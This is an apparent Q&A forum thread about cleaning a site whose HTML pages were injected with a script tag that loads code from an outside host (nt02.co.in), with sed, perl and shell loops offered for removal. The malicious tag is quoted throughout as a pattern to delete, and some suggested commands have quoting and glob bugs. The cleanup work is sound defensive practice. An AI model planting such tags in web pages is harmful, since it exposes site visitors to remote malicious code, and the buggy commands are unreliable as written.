views:

47

answers:

4

Hi I'm trying to clean a site from a js-trojan for a customer, it has added:

<script src='http://nt02.co.in/3'&gt;&lt;/script&gt; to all html-pages.

Since it's too many files to manually clean I tried to a do find like this:

find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'&gt;&lt;/script&gt;\ \g" {} > {} \;

Problem is you're not allowed to output to the input with sed. So I tried to do something like:

find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'&gt;&lt;/script&gt;\ \g" {} > {}.new \;

didn't work either, it outputs a file named "{}.new"...

Any tips on how to do this correct? Or another solution on how to clean this?

+1  A: 

I think you are making things more complicated than they need to be. In particular, you want to use the -i flag, which allows you to edit the file in place like you want. You may want something like

sed -i '/<script src='http:\/\/nt02.co.in\/3'><\/script>/ d' *.html

or use a script if you feel more comfortable, something like

for f in "dir/*.html"  
do 
    sed -i '/<script src='http:\/\/nt02.co.in\/3'><\/script>/ d' $f  
done

See http://www.cyberciti.biz/faq/unix-linux-replace-string-words-in-many-files/

Larry Wang
+1, the -i flag is what the OP needs.
ninjalj
A: 

Untested:

find . -type f -print0 | xargs -0 perl -i.nt02 -pe "s#<script src='http://nt02.co.in/3'&gt;&lt;/script&gt;# #g"
reinierpost
A: 

It may not be entirely clear to you from @user379118's answer, but the -i flag (or --in-place) does allow you to do in-place editing with sed, optionally allowing you to create a copy of the original file as you go, just in case.

High Performance Mark
A: 

Thanks for your answers! I did like this:

while read f
do
    sed -i "s#<script src='http://nt02.co.in/3'&gt;&lt;/script&gt;# #g" "$f"
done < list

list is a file containing paths to files, generated like this:

grep -irl "<script src='http://nt02.co.in/3'&gt;&lt;/script&gt;" ./folder/ > list
Newbattu